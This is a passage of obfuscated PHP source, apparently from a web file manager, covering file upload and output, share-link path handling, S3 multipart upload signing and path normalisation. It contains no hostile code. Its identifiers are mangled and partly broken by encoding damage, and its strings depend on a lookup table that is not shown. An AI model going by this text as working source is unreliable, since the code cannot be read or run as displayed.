$ÇɸÖÑé[$¨¥ÃÉãÇ[87]], $çʲŸÙõ, $«Í¹¼¦…); return $this->getPathOuter($©„˿λ); } public function uploadFileByID($¿´‘ÊØï, $¶Ó–¨ïó, $¾çÍêë¥) { $„<><E2809E>žÀö =& $_SERVER[ˆ¡¹µ‹Â]; $ª¾¨³šâ = $this->parse($¿´‘ÊØï); $˜ÆáÝ„š = $this->model->addFileByFileID($ª¾¨³šâ[$„<><E2809E>žÀö[475]], $¶Ó–¨ïó, $ª¾¨³šâ[$„<><E2809E>žÀö[87]], $¾çÍêë¥); return $this->getPathOuter($˜ÆáÝ„š); } public function addFileByRemote($øæÇ¦Ë°, $«˜é¡Ž¢, $³ƒ´¹™– = array(), $ûçÙ¢Øû = '', $©Ü°¨‹è) { $þÎÝÄÜ  =& $_SERVER[ˆ¡¹µ‹Â]; $²Ã‡¶<E280A1>· = $this->parse($øæÇ¦Ë°); $ûçÙ¢Øû = empty($ûçÙ¢Øû) ? $²Ã‡¶<E280A1>·[$þÎÝÄÜ [87]] : $ûçÙ¢Øû; $‘™¾žûÍ = $this->model->addFileByRemote($²Ã‡¶<E280A1>·[$þÎÝÄÜ [475]], $«˜é¡Ž¢, $ûçÙ¢Øû, $³ƒ´¹™–, $©Ü°¨‹è); return $this->getPathOuter($‘™¾žûÍ); } public function uploadLink($奘Ð<CB9C>ñ, $ü­Ãƒþ¨ = 0) { $’ÑÕ§˜ï =& $_SERVER[ˆ¡¹µ‹Â]; $Íùâ ›û = $this->parse($奘Ð<CB9C>ñ); $Éòú†Ñˆ = _get($GLOBALS[$’ÑÕ§˜ï[7]], $’ÑÕ§˜ï[1413]); $ŸÇôÏóÈ = _get($GLOBALS[$’ÑÕ§˜ï[7]], $’ÑÕ§˜ï[1414]); $奘Ð<CB9C>ñ = Model($’ÑÕ§˜ï[674])->createFileName($Íùâ ›û[$’ÑÕ§˜ï[87]], $Éòú†Ñˆ, $ŸÇôÏóÈ); return IO::uploadLink($奘Ð<CB9C>ñ, $ü­Ãƒþ¨); } public function fileNameAuto($°ºß È×, $ΖÎÚ¿Û, $û¯©åîù = REPEAT_REPLACE, $•‘â¼“Û = false) { return $this->model->fileNameAuto($°ºß È×, $ΖÎÚ¿Û, $û¯©åîù, $•‘⼓Û); } public function fileNameExist($¤âß•Êã, $úªº²¿ø) { return $this->model->fileNameExist($¤âß•Êã, $úªº²¿ø); } protected function _fileOut($˜çŒ<E280B9>÷, $<24><>¸© = false, $µúïáéþ = false, $â̳ú®Ë = '', $ûÏı’ò = false) { $ÖµÂýÀ¸ =& $_SERVER[ˆ¡¹µ‹Â]; $·Üí±îÀ = $this->model->sourceInfo($˜çŒ<E280B9>÷); if ($·Üí±îÀ[$ÖµÂýÀ¸[485]] == $ÖµÂýÀ¸[91]) { header($ÖµÂýÀ¸[1415]); die; } $Èկ€ö = $this->model->fileInfoGet($˜çŒ<E280B9>÷); $â̳ú®Ë = $Èկ€ö[$ÖµÂýÀ¸[547]] ? $Èկ€ö[$ÖµÂýÀ¸[547]] : $â̳ú®Ë; $À‰¿Úë» = isset($GLOBALS[$ÖµÂýÀ¸[182]]) && is_array($GLOBALS[$ÖµÂýÀ¸[182]]) ? $GLOBALS[$ÖµÂýÀ¸[182]][$ÖµÂýÀ¸[32]] : $·Üí±îÀ[$ÖµÂýÀ¸[32]]; if ($ûÏı’ò) { return IO::fileOutServer($Èկ€ö[$ÖµÂýÀ¸[87]], $<24><>¸©, $À‰¿Úë», $â̳ú®Ë); } IO::fileOut($Èկ€ö[$ÖµÂýÀ¸[87]], $<24><>¸©, $À‰¿Úë», $â̳ú®Ë); } public function fileOut($¨¤±¤‰ž, $ï‹•Ø‚‘ = false, $€¥£šÙó = false, $‰ë©œ<C2A9>§ = '') { $this->_fileOut($¨¤±¤‰ž, $ï‹•Ø‚‘, $€¥£šÙó, $‰ë©œ<C2A9>§); } public function fileOutServer($ù<>·, $©¾¾£×» = false, $¥×Ê–°ü = false, $ªµÀ‡ì¹ = '') { $this->_fileOut($ù<>·, $©¾¾£×», $¥×Ê–°ü, $ªµÀ‡ì¹, !0); } protected function _fileOutImage($á®îéýÏ, $›µŸž«ü = 250) { $<24>¢¹Í<C2B9>¥ =& $_SERVER[ˆ¡¹µ‹Â]; $¦‹±ìÅø = $this->model->pathInfo($á®îéýÏ); if ($¦‹±ìÅø[$<24>¢¹Í<C2B9>¥[485]] == $<24>¢¹Í<C2B9>¥[91]) { show_json($<24>¢¹Í<C2B9>¥[1416] . $á®îéýÏ, !1); } $Ûð–Éø§ = $this->model->fileInfoGet($á®îéýÏ); $¦‹±ìÅø[$<24>¢¹Í<C2B9>¥[183]] = $Ûð–Éø§[$<24>¢¹Í<C2B9>¥[87]]; $GLOBALS[$<24>¢¹Í<C2B9>¥[182]] = $¦‹±ìÅø; IO::fileOutImage($Ûð–Éø§[$<24>¢¹Í<C2B9>¥[87]], $›µŸž«ü); } public function fileOutImage($àÆêö«…, $ñÍõÛµ‡ = 250) { $this->_fileOutImage($àÆêö«…, $ñÍõÛµ‡); } public function fileOutImageServer($åÉ’–±¥, $ƒ<>šÚŤ = 250) { $this->_fileOutImage($åÉ’–±¥, $ƒ<>šÚŤ); } public function link($­þ<C2AD>Æ<EFBFBD>Ë, $ɇ³¡çì = '') { $±Ã„‡ƒÈ = $this->model->fileInfoGet($­þ<C2AD>Æ<EFBFBD>Ë); return IO::link($±Ã„‡ƒÈ[$_SERVER[ˆ¡¹µ‹Â][87]], $ɇ³¡çì); } protected function parse($ÞŠ£<C5A0>ë¿) { $ö¸•ª¤å =& $_SERVER[ˆ¡¹µ‹Â]; if (strstr($ÞŠ£<C5A0>ë¿, $ö¸•ª¤å[8]) === !1) { return array($ö¸•ª¤å[493] => intval($ÞŠ£<C5A0>ë¿), $ö¸•ª¤å[87] => $ö¸•ª¤å[12], $ö¸•ª¤å[1412] => array()); } $ÅÎåÝƒË = explode($ö¸•ª¤å[8], trim($ÞŠ£<C5A0>ë¿, $ö¸•ª¤å[8])); if (count($ÅÎå݃Ë) < 2) { show_tips(clear_html($ÞŠ£<C5A0>ë¿) . $ö¸•ª¤å[1417]); } return array($ö¸•ª¤å[493] => intval($ÅÎå݃Ë[0]), $ö¸•ª¤å[87] => $ÅÎå݃Ë[1], $ö¸•ª¤å[1412] => array_slice($ÅÎå݃Ë, 1)); } } class PathDriverDbShareItem extends PathDriverDB { public function __construct($¸•·˜ž<CB9C>) { $this->pathParse = $¸•·˜ž<CB9C>; $this->model = Model($_SERVER[ˆ¡¹µ‹Â][1411]); } public function getPathOuter($í¡…ÃØø) { $Ÿ†€¬šÎ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$í¡…ÃØø) { return $í¡…ÃØø; } $Þáþºº¹ = $this->parse($í¡…ÃØø); return trim(KodIO::makeShare($this->pathParse[$Ÿ†€¬šÎ[475]], $Þáþºº¹[$Ÿ†€¬šÎ[475]]), $Ÿ†€¬šÎ[8]); } protected function infoParse($øì·Êêµ, $Æž¬äç‡ = false, $•çÁçØæ = false) { $¼Ž„暢 =& $_SERVER[ˆ¡¹µ‹Â]; $·æÅ<C3A6>•¿ = $this->pathParse[$¼Ž„暢[475]]; $þ<>¬ãª‡ = trim($this->pathParse[$¼Ž„暢[1243]], $¼Ž„暢[8]); return Action($¼Ž„暢[1418])->sharePathInfo($·æÅ<C3A6>•¿, $þ<>¬ãª‡, $Æž¬äç‡); } public function infoFull($ÐåÍÐ<C38D>µ) { $ÅŸåÅ¯ß =& $_SERVER[ˆ¡¹µ‹Â]; $€<>ÙÖè¡ = explode($ÅŸåůß[8], trim($ÐåÍÐ<C38D>µ, $ÅŸåůß[8])); if (count($€<>ÙÖè¡) > 1) { $¬Ü夯Á = implode($ÅŸåůß[8], array_splice($€<>ÙÖè¡, 1)); $€¶·áàÉ = $this->model->pathInfoByPath($€<>ÙÖè¡[0], $¬Ü夯Á); if (!$€¶·áàÉ) { return !1; } $this->pathParse[$ÅŸåůß[1243]] = $€¶·áàÉ[$ÅŸåůß[193]]; } return $this->infoParse($ÐåÍÐ<C38D>µ); } public function listAll($–ê‰ì§¨) { $ÃΩù•<C3B9> =& $_SERVER[ˆ¡¹µ‹Â]; $ÊåΕ÷ø = IO::info($this->pathParse[$ÃΩù•<C3B9>[87]]); if (!$ÊåΕ÷ø) { return array(); } $ŒÄÙÛ×Ì = $this->model->listAll($–ê‰ì§¨); $›Âã”»Ä = Model($ÃΩù•<C3B9>[664])->getInfo($ÊåΕ÷ø[$ÃΩù•<C3B9>[665]]); foreach ($ŒÄÙÛ×Ì as &$±çöÍöå) { check_abort(); $±çöÍöå[$ÃΩù•<C3B9>[90]] = Action($ÃΩù•<C3B9>[1418])->_shareItemeParse($±çöÍöå[$ÃΩù•<C3B9>[90]], $›Âã”»Ä); } unset($±çöÍöå); return $ŒÄÙÛ×Ì; } } class PathDriverDbShareLink extends PathDriverDB { public function __construct($¦¡šÄ º) { $this->pathParse = $¦¡šÄ º; $this->model = Model($_SERVER[ˆ¡¹µ‹Â][1411]); } protected function infoParse($ñÏ°Äæ×, $ë‰ÒϪð = false, $݈²ÅÙÞ = false) { $œþ¥æèÑ =& $_SERVER[ˆ¡¹µ‹Â]; return Action($œþ¥æèÑ[1249])->sharePathInfo($this->pathParse[$œþ¥æèÑ[87]], !0, $ë‰ÒϪð); } public function listPath($È…Šƒ¨º, $Ìâê²€â = false) { $΀ð÷Ëë =& $_SERVER[ˆ¡¹µ‹Â]; $ˆ<CB86>¨ÊÉ = parent::listPath($È…Šƒ¨º, $Ìâê²€â); if (!$ˆ<CB86>¨ÊÉ) { return $ˆ<CB86>¨ÊÉ; } if (is_array($ˆ<CB86>¨ÊÉ[$΀ð÷Ëë[1419]])) { $ˆ<CB86>¨ÊÉ[$΀ð÷Ëë[1419]] = Action($΀ð÷Ëë[1249])->shareItemInfo($ˆ<CB86>¨ÊÉ[$΀ð÷Ëë[1419]]); } foreach ($ˆ<CB86>¨ÊÉ as $‡ï—ê᪠=> $Ðù­ü­«) { if (!in_array($‡ï—êáª, array($΀ð÷Ëë[86], $΀ð÷Ëë[85]))) { continue; } foreach ($Ðù­ü­« as $îÜ­<C39C>ñå => $õê<C3B5>ÍÔ§) { $ˆ<CB86>¨ÊÉ[$‡ï—êáª][$îÜ­<C39C>ñå] = Action($΀ð÷Ëë[1249])->shareItemInfo($õê<C3B5>ÍÔ§); } } return $ˆ<CB86>¨ÊÉ; } public function listAll($<24>šÙöØ<C3B6>) { $º©õèÝñ =& $_SERVER[ˆ¡¹µ‹Â]; $™™ŒÎÇÁ = IO::info($this->pathParse[$º©õèÝñ[87]]); if (!$™™ŒÎÇÁ) { return array(); } $óŠÉ´û¶ = $this->model->listAll($<24>šÙöØ<C3B6>); foreach ($óŠÉ´û¶ as &$žÝû°ø×) { $žÝû°ø×[$º©õèÝñ[90]] = Action($º©õèÝñ[1249])->shareItemInfo($žÝû°ø×[$º©õèÝñ[90]]); } unset($žÝû°ø×); return $óŠÉ´û¶; } } goto a¸Œ®ª¡Šˆ; bÈ ¨­¢¸í: class PathDriverS3 extends PathDriverBaseS3 { public function __construct($Ûõå™Ä”) { parent::__construct($Ûõå™Ä”); } public function uploadFormData($…€¢ÈÏò, $ÁƒïÇïû = 3600) { $ãìò Œü =& $_SERVER[ˆ¡¹µ‹Â]; $ÈÁ³žÄš = $ãìò Œü[229]; $µÕã傸 = $ãìò Œü[270]; $­ž Îò• = $ãìò Œü[62]; $ÏòùÔ“ü = gmdate($ãìò Œü[271]); $çÊ<C3A7>ÍñÜ = gmdate($ãìò Œü[272]); $èÀîƒ<C3AE>‡ = $ãìò Œü[273]; $í¡Ó„®« = $ÁƒïÇïû . $ãìò Œü[12]; $˜±¼óçÔ = $ãìò Œü[274]; $¹ÃÔ¼ïÜ = array($this->accessKey, $çÊ<C3A7>ÍñÜ, $this->region, $­ž Îò•, $èÀîƒ<C3AE>‡); $§Ñëùþ” = implode($ãìò Œü[8], $¹ÃÔ¼ïÜ); $ýÖå³–¸ = array($ãìò Œü[275] => gmdate($ãìò Œü[299], strtotime($ãìò Œü[277])), $ãìò Œü[278] => array(array($ãìò Œü[279] => $this->bucket), array($ãìò Œü[280] => $ÈÁ³žÄš), array($ãìò Œü[281], $ãìò Œü[282], $ãìò Œü[12]), array($ãìò Œü[281], $ãìò Œü[283], $ãìò Œü[12]), array($ãìò Œü[281], $ãìò Œü[284], $ãìò Œü[12]), array($ãìò Œü[285] => $˜±¼óçÔ), array($ãìò Œü[286] => $§Ñëùþ”), array($ãìò Œü[287] => $µÕã傸), array($ãìò Œü[288] => $ÏòùÔ“ü), array($ãìò Œü[289] => $í¡Ó„®«))); $<24>Ãôœœ<C593> = base64_encode(json_encode($ýÖå³–¸)); $òº«‚çË = hash_hmac($ãìò Œü[290], $çÊ<C3A7>ÍñÜ, $ãìò Œü[291] . $this->secret, !0); $ž°¬øùã = hash_hmac($ãìò Œü[290], $this->region, $òº«‚çË, !0); $ÊÝ†Þø— = hash_hmac($ãìò Œü[290], $­ž Îò•, $ž°¬øùã, !0); $ƪ٠= hash_hmac($ãìò Œü[290], $èÀîƒ<C3AE>‡, $ÊÝ†Þø—, !0); $³ÒÕï¥ý = hash_hmac($ãìò Œü[290], $<24>Ãôœœ<C593>, $ƪÙ); $áèÑ‚ä‘ = array($ãìò Œü[246] => $ãìò Œü[12], $ãìò Œü[292] => $ãìò Œü[12], $ãìò Œü[280] => $ÈÁ³žÄš, $ãìò Œü[285] => $˜±¼óçÔ, $ãìò Œü[293] => $<24>Ãôœœ<C593>, $ãìò Œü[294] => $§Ñëùþ”, $ãìò Œü[295] => $µÕã傸, $ãìò Œü[296] => $ÏòùÔ“ü, $ãìò Œü[297] => $í¡Ó„®«, $ãìò Œü[298] => $³ÒÕï¥ý, $ãìò Œü[208] => $this->getHost()); return $áèÑ‚ä‘; } public function multiUploadFormData($„—æ«÷Œ, $гûúˆ<C3BA> = 3600) { $ÏÒÆû’ƒ =& $_SERVER[ˆ¡¹µ‹Â]; $âï²Äà— = gmdate($ÏÒÆû’ƒ[300]); $ެ€±<E282AC>Ú = array(); $Å—ëô­£ = $this->client->getUploadId($this->bucket, $„—æ«÷Œ, $ެ€±<E282AC>Ú); if (!$Å—ëô­£) { return !1; } return array($ÏÒÆû’ƒ[254] => $Å—ëô­£, $ÏÒÆû’ƒ[208] => $this->getHost() . $ÏÒÆû’ƒ[8] . $this->pathEncode($„—æ«÷Œ), $ÏÒÆû’ƒ[255] => $âï²Äà—, $ÏÒÆû’ƒ[97] => $„—æ«÷Œ); } public function multiUploadAuthData($¦æãÆŽ<C386>, $¤›ùöÈœ = array()) { $׺´Â˼ =& $_SERVER[ˆ¡¹µ‹Â]; $¬ž°<C5BE>ô£ = isset($¤›ùöÈœ[$׺´Â˼[169]]) ? $¤›ùöÈœ[$׺´Â˼[169]] : $׺´Â˼[12]; $ʺ޽ά = $¤›ùöÈœ[$׺´Â˼[97]]; unset($¤›ùöÈœ[$׺´Â˼[97]]); if (isset($¤›ùöÈœ[$׺´Â˼[256]])) { return $this->listUploadParts($ʺ޽ά, $¤›ùöÈœ); } $¡Á­°úŒ = array(); if (isset($¤›ùöÈœ[$׺´Â˼[301]])) { $¡Á­°úŒ[$׺´Â˼[302]] = $¤›ùöÈœ[$׺´Â˼[301]]; } $Žœ®<C593>¹Û = explode($׺´Â˼[210], $this->getHost()); $“ε¯‰¥ = array($׺´Â˼[303] => $Žœ®<C593>¹Û[1], $׺´Â˼[304] => $׺´Â˼[12], $׺´Â˼[246] => $׺´Â˼[123], $׺´Â˼[292] => $¤›ùöÈœ[$׺´Â˼[79]]); $îǼȿ» = $׺´Â˼[259]; $ÔÑ資‚ = $׺´Â˼[8] . $this->pathEncode($ʺ޽ά) . $¬ž°<C5BE>ô£; $Öøž—¯­ = $this->client->__getSignatureV4($¡Á­°úŒ, $“ε¯‰¥, $îǼȿ», $ÔÑ資‚); if (strpos($¬ž°<C5BE>ô£, $׺´Â˼[258]) === 0) { if (isset($¡Á­°úŒ[$׺´Â˼[302]])) { $ý<> Ñ = $¡Á­°úŒ[$׺´Â˼[302]]; } else { if (isset($Öøž—¯­[$׺´Â˼[302]])) { $ý<> Ñ = $Öøž—¯­[$׺´Â˼[302]]; } else { $ý<> Ñ = hash($׺´Â˼[290], $׺´Â˼[12]); } } return array($׺´Â˼[265] => $Öøž—¯­[$׺´Â˼[265]], $׺´Â˼[302] => $ý<> Ñ, $׺´Â˼[255] => $Öøž—¯­[$׺´Â˼[305]]); } return $Öøž—¯­[$׺´Â˼[265]]; } public function listUploadParts($˜˜²…úÌ, $åæÇç<C387> = array()) { $ôžÒ¡Î¡ =& $_SERVER[ˆ¡¹µ‹Â]; $ùË<C3B9>Ìá÷ = str_replace($ôžÒ¡Î¡[266], $ôžÒ¡Î¡[12], $åæÇç<C387>[$ôžÒ¡Î¡[169]]); $¢Ïœ½Îò = $this->client->listParts($this->bucket, $˜˜²…úÌ, $ùË<C3B9>Ìá÷); if (!$¢Ïœ½Îò) { return !1; } $›òŽœµÃ = $ôžÒ¡Î¡[306]; foreach ($¢Ïœ½Îò as $¡´ËÑŠÚ) { $›òŽœµÃ .= $ôžÒ¡Î¡[307] . "\x3c\x50\141\x72\x74\x4e\x75\x6d\x62\x65\x72\76{$¡´ËÑŠÚ[$ôžÒ¡Î¡[308]]}\x3c\57\120\x61\x72\x74\x4e\165\x6d\x62\x65\x72\x3e\xa" . "\74\x45\x54\x61\147\76{$¡´ËÑŠÚ[$ôžÒ¡Î¡[309]]}\74\57\x45\124\x61\147\x3e\12" . $ôžÒ¡Î¡[310]; } $›òŽœµÃ .= $ôžÒ¡Î¡[311]; $墽´ý¤ = array(); $ôÛ»ÄúÓ = explode($ôžÒ¡Î¡[210], $this->getHost()); $¤†·<E280A0>ö× = array($ôžÒ¡Î¡[303] => $ôÛ»ÄúÓ[1], $ôžÒ¡Î¡[246] => $ôžÒ¡Î¡[123], $ôžÒ¡Î¡[292] => strlen($›òŽœµÃ)); $€•à€›„ = $ôžÒ¡Î¡[257]; $•ó<E280A2>ÚÍý = $ôžÒ¡Î¡[8] . $this->pathEncode($˜˜²…úÌ) . $åæÇç<C387>[$ôžÒ¡Î¡[169]]; $󈓲Ģ = $this->client->__getSignatureV4($墽´ý¤, $¤†·<E280A0>ö×, $€•à€›„, $•ó<E280A2>ÚÍý, $›òŽœµÃ); return array($ôžÒ¡Î¡[265] => $󈓲Ģ[$ôžÒ¡Î¡[265]], $ôžÒ¡Î¡[255] => $󈓲Ģ[$ôžÒ¡Î¡[305]], $ôžÒ¡Î¡[267] => $¢Ïœ½Îò, $ôžÒ¡Î¡[302] => $󈓲Ģ[$ôžÒ¡Î¡[302]]); } public function link($ÀœÅÍÉ¿, $€çÓ²ù¼ = array()) { return parent::link($ÀœÅÍÉ¿, $€çÓ²ù¼); } public function fileOut($³—Ãû<C383>í, $ìŽí¢âÒ = false, $¶˜ë愨 = false, $ÑÎØ•ƒÚ = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[ˆ¡¹µ‹Â][312])) { return parent::fileOutServer($³—Ãû<C383>í, $ìŽí¢âÒ, $¶˜ë愨, $ÑÎØ•ƒÚ); } parent::fileOut($³—Ãû<C383>í, $ìŽí¢âÒ, $¶˜ë愨, $ÑÎØ•ƒÚ); } public function fileOutImage($öˆ©ÑÇ‘, $âÒ’ƒ­¯ = 250) { if (strstr($this->endpoint, $_SERVER[ˆ¡¹µ‹Â][312])) { return parent::fileOutImageServer($öˆ©ÑÇ‘, $âÒ’ƒ­¯); } parent::fileOutImage($öˆ©ÑÇ‘, $âÒ’ƒ­¯); } public function fileOutLink($<>“µ¾Ô) { $<24>Öž˜<C5BE>¬ =& $_SERVER[ˆ¡¹µ‹Â]; if (substr($<>“µ¾Ô, 0, 7) == $<24>Öž˜<C5BE>¬[313]) { $<>“µ¾Ô = $<24>Öž˜<C5BE>¬[314] . substr($<>“µ¾Ô, 7); } header($<24>Öž˜<C5BE>¬[175] . $<>“µ¾Ô); die; } } define($_SERVER[ˆ¡¹µ‹Â][315], 1); define($_SERVER[ˆ¡¹µ‹Â][316], 2); goto CãŒÞÀ®²Õ; BÏÓªÁ Ì¾: class KodIO { const KOD_SOURCE = "\x7b\163\157\165\162\143\x65\x7d"; const KOD_USER_RECYCLE = "\173\165\x73\145\x72\122\x65\x63\171\143\154\x65\175"; const KOD_USER_FAV = "\x7b\x75\x73\x65\162\x46\x61\166\x7d"; const KOD_USER_FILE_TAG = "\173\165\x73\x65\162\x46\151\x6c\145\x54\141\x67\175"; const KOD_USER_FILE_TYPE = "\173\x75\163\x65\x72\x46\151\x6c\x65\124\171\x70\145\x7d"; const KOD_GROUP_ROOT_SELF = "\x7b\x67\162\x6f\165\x70\x52\157\x6f\164\x53\145\154\146\175"; const KOD_USER_SHARE = "\173\165\163\x65\x72\x53\x68\x61\x72\x65\175"; const KOD_USER_SHARE_LINK = "\x7b\165\x73\x65\162\x53\150\x61\162\145\114\x69\156\153\x7d"; const KOD_USER_SHARE_TO_ME = "\173\x73\x68\141\x72\x65\124\x6f\x4d\x65\175"; const KOD_SHARE_ITEM = "\173\x73\x68\x61\162\x65\x49\x74\x65\x6d\175"; const KOD_SHARE_LINK = "\173\163\x68\141\x72\145\111\x74\x65\x6d\114\151\156\x6b\x7d"; const KOD_SEARCH = "\x7b\163\x65\x61\x72\x63\150\175"; const KOD_BLOCK = "\x7b\x62\x6c\x6f\143\153\175"; const KOD_IO = "\173\x69\157\x7d"; const KOD_USER_RECENT = "\173\165\163\x65\x72\122\145\156\x63\x65\x6e\x74\175"; const KOD_USER_DRIVER = "\x7b\144\x72\151\166\x65\162\x7d"; public static function typeList() { $”<>ŒËë =& $_SERVER[ˆ¡¹µ‹Â]; return array($”<>ŒËë[1329] => self::KOD_SOURCE, $”<>ŒËë[1330] => self::KOD_USER_RECYCLE, $”<>ŒËë[1331] => self::KOD_USER_FAV, $”<>ŒËë[1332] => self::KOD_USER_FILE_TAG, $”<>ŒËë[1333] => self::KOD_USER_FILE_TYPE, $”<>ŒËë[1334] => self::KOD_GROUP_ROOT_SELF, $”<>ŒËë[1335] => self::KOD_USER_SHARE, $”<>ŒËë[1336] => self::KOD_USER_SHARE_LINK, $”<>ŒËë[1337] => self::KOD_USER_SHARE_TO_ME, $”<>ŒËë[1338] => self::KOD_SHARE_ITEM, $”<>ŒËë[1339] => self::KOD_SHARE_LINK, $”<>ŒËë[1340] => self::KOD_SEARCH, $”<>ŒËë[1341] => self::KOD_BLOCK, $”<>ŒËë[1342] => self::KOD_IO, $”<>ŒËë[1343] => self::KOD_USER_RECENT, $”<>ŒËë[1344] => self::KOD_USER_DRIVER); } public static function parse($̇Çß‘Ù) { $¿†<C2BF>ˆ”• =& $_SERVER[ˆ¡¹µ‹Â]; $̇Çߑ٠= self::clear($̇Çß‘Ù); $£ô—¬âˆ = array_values(self::typeList()); preg_match($¿†<C2BF>ˆ”•[1345], $̇Çß‘Ù, $ã׿¡¨‰); $‹°ŸÀ€œ = array($¿†<C2BF>ˆ”•[496] => !1, $¿†<C2BF>ˆ”•[1346] => !1, $¿†<C2BF>ˆ”•[493] => !1, $¿†<C2BF>ˆ”•[87] => $̇Çß‘Ù, $¿†<C2BF>ˆ”•[1244] => !1, $¿†<C2BF>ˆ”•[1243] => $¿†<C2BF>ˆ”•[12]); if (is_array($ã׿¡¨‰) && count($ã׿¡¨‰) == 5) { $߸£¸Ö‰ = $¿†<C2BF>ˆ”•[1347] . $ã׿¡¨‰[2] . $¿†<C2BF>ˆ”•[403]; if (in_array($߸£¸Ö‰, $£ô—¬âˆ)) { $‹°ŸÀ€œ[$¿†<C2BF>ˆ”•[1244]] = $ã׿¡¨‰[1]; $‹°ŸÀ€œ[$¿†<C2BF>ˆ”•[33]] = $߸£¸Ö‰; $‹°ŸÀ€œ[$¿†<C2BF>ˆ”•[1348]] = substr($߸£¸Ö‰, 1, -1); $‹°ŸÀ€œ[$¿†<C2BF>ˆ”•[475]] = $ã׿¡¨‰[3]; } $‹°ŸÀ€œ[$¿†<C2BF>ˆ”•[1243]] = $ã׿¡¨‰[4]; } $øÈÅ¢¢Š = array($¿†<C2BF>ˆ”•[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $‹°ŸÀ€œ[$¿†<C2BF>ˆ”•[1311]] = in_array($‹°ŸÀ€œ[$¿†<C2BF>ˆ”•[33]], $øÈÅ¢¢Š); return $‹°ŸÀ€œ; } public static function isTruePath($™á‡¤Öý) { $ÎÀüÌ÷œ =& $_SERVER[ˆ¡¹µ‹Â]; if (substr($™á‡¤Öý, 0, 1) != $ÎÀüÌ÷œ[1347]) { return !0; } if (strpos($™á‡¤Öý, $ÎÀüÌ÷œ[483]) === 0) { return !0; } if (strpos($™á‡¤Öý, $ÎÀüÌ÷œ[1315]) === 0) { return !0; } if (strpos($™á‡¤Öý, $ÎÀüÌ÷œ[1349]) === 0) { return !0; } if (strpos($™á‡¤Öý, $ÎÀüÌ÷œ[1350]) === 0) { return !0; } if (strpos($™á‡¤Öý, $ÎÀüÌ÷œ[1351]) === 0) { return !0; } return !1; } public static function clear($ÆŽ¢ð±™) { $ἉŸ—º =& $_SERVER[ˆ¡¹µ‹Â]; $ÆŽ¢ð±™ = str_replace(array($ἉŸ—º[1150], $ἉŸ—º[262]), $ἉŸ—º[53], $ÆŽ¢ð±™); $ÆŽ¢ð±™ = str_replace($ἉŸ—º[100], $ἉŸ—º[8], $ÆŽ¢ð±™); $¨ðèËˆÊ = $ἉŸ—º[1352]; if (substr($ÆŽ¢ð±™, 0, 3) == $ἉŸ—º[1353]) { $ÆŽ¢ð±™ = substr($ÆŽ¢ð±™, 3); } while (strstr($ÆŽ¢ð±™, $¨ðèˈÊ)) { $ÆŽ¢ð±™ = str_replace($¨ðèˈÊ, $ἉŸ—º[8], $ÆŽ¢ð±™); } $ÆŽ¢ð±™ = preg_replace($ἉŸ—º[1354], $ἉŸ—º[8], $ÆŽ¢ð±™); if ($ÆŽ¢ð±™ == $ἉŸ—º[8]) { return $ἉŸ—º[8]; } $ÆŽ¢ð±™ = rtrim($ÆŽ¢ð±™, $ἉŸ—º[8]); return $ÆŽ¢ð±™; } public static function pathTrue($åèõœ«Œ) { $¸ë»â<C3A2> =& $_SERVER[ˆ¡¹µ‹Â]; if (!$åèõœ«Œ) { return $¸ë»â<C3A2>[12]; } $åèõœ«Œ = str_replace($¸ë»â<C3A2>[592], $¸ë»â<C3A2>[8], str_replace($¸ë»â<C3A2>[1355], $¸ë»â<C3A2>[8], $åèõœ«Œ)); $åèõœ«Œ = str_replace($¸ë»â<C3A2>[592], $¸ë»â<C3A2>[8], str_replace($¸ë»â<C3A2>[1355], $¸ë»â<C3A2>[8], $åèõœ«Œ)); if (!strstr($åèõœ«Œ, $¸ë»â<C3A2>[1353])) { return $åèõœ«Œ; } $‘§æ Ü” = explode($¸ë»â<C3A2>[8], $åèõœ«Œ); foreach ($‘§æ Ü” as $îØ<C3AE>ܘ… => $Øê…×îð) { if ($Øê…×îð !== $¸ë»â<C3A2>[1356]) { continue; } for ($â™®£Ó† = $îØ<C3AE>ܘ…; $â™®£Ó† >= 0; $â™®£Ó†--) { if ($‘§æ Ü”[$â™®£Ó†] === $¸ë»â<C3A2>[10] || $‘§æ Ü”[$â™®£Ó†] === $¸ë»â<C3A2>[1356] || $‘§æ Ü”[$â™®£Ó†] === -1) { continue; } if ($‘§æ Ü”[$â™®£Ó†] === $¸ë»â<C3A2>[12]) { $‘§æ Ü”[$îØ<C3AE>ܘ…] = -1; break; } $‘§æ Ü”[$îØ<C3AE>ܘ…] = -1; $‘§æ Ü”[$â™®£Ó†] = -1; break; } } $ãÔÁÊ­‘ = array(); foreach ($‘§æ Ü” as $Øê…×îð) { if ($Øê…×îð !== -1) { $ãÔÁÊ­‘[] = $Øê…×îð; } } $À¼šæ<C5A1>à = implode($¸ë»â<C3A2>[8], $ãÔÁÊ­‘); if (strpos($À¼šæ<C5A1>Ã, $¸ë»â<C3A2>[1357]) === 0) { $À¼šæ<C5A1>à = $¸ë»â<C3A2>[1353] . substr($À¼šæ<C5A1>Ã, strlen($¸ë»â<C3A2>[1357])); } return $À¼šæ<C5A1>Ã; } public static function pathUrlClear($ŸÈð£Åµ) { $¦¶Ò¬š<C2AC> =& $_SERVER[ˆ¡¹µ‹Â]; if (!$ŸÈð£Åµ) { return $ŸÈð£Åµ; } $ŸÈð£Åµ = rawurldecode($ŸÈð£Åµ); $ŸÈð£Åµ = str_replace($¦¶Ò¬š<C2AC>[1355], $¦¶Ò¬š<C2AC>[8], $ŸÈð£Åµ); if (strpos($ŸÈð£Åµ, $¦¶Ò¬š<C2AC>[76]) > 0) { $ŸÈð£Åµ = substr($ŸÈð£Åµ, 0, strpos($ŸÈð£Åµ, $¦¶Ò¬š<C2AC>[76])); } if (strpos($ŸÈð£Åµ, $¦¶Ò¬š<C2AC>[1358]) > 0) { $ŸÈð£Åµ = substr($ŸÈð£Åµ, 0, strpos($ŸÈð£Åµ, $¦¶Ò¬š<C2AC>[1358])); } return $ŸÈð£Åµ; } public static function sourceID($€—¹œƒÃ) { $ã®èñÐÀ =& $_SERVER[ˆ¡¹µ‹Â]; $勘êó‘ = self::parse($€—¹œƒÃ); if ($勘êó‘[$ã®èñÐÀ[33]] !== self::KOD_SOURCE) { show_json(LNG($ã®èñÐÀ[1359]), !1); } return $勘êó‘[$ã®èñÐÀ[475]]; } public static function make($á•çâ’­) { if (!$á•çâ’­) { return !1; } return self::makePath(self::KOD_SOURCE, intval($á•çâ’­)); } public static function 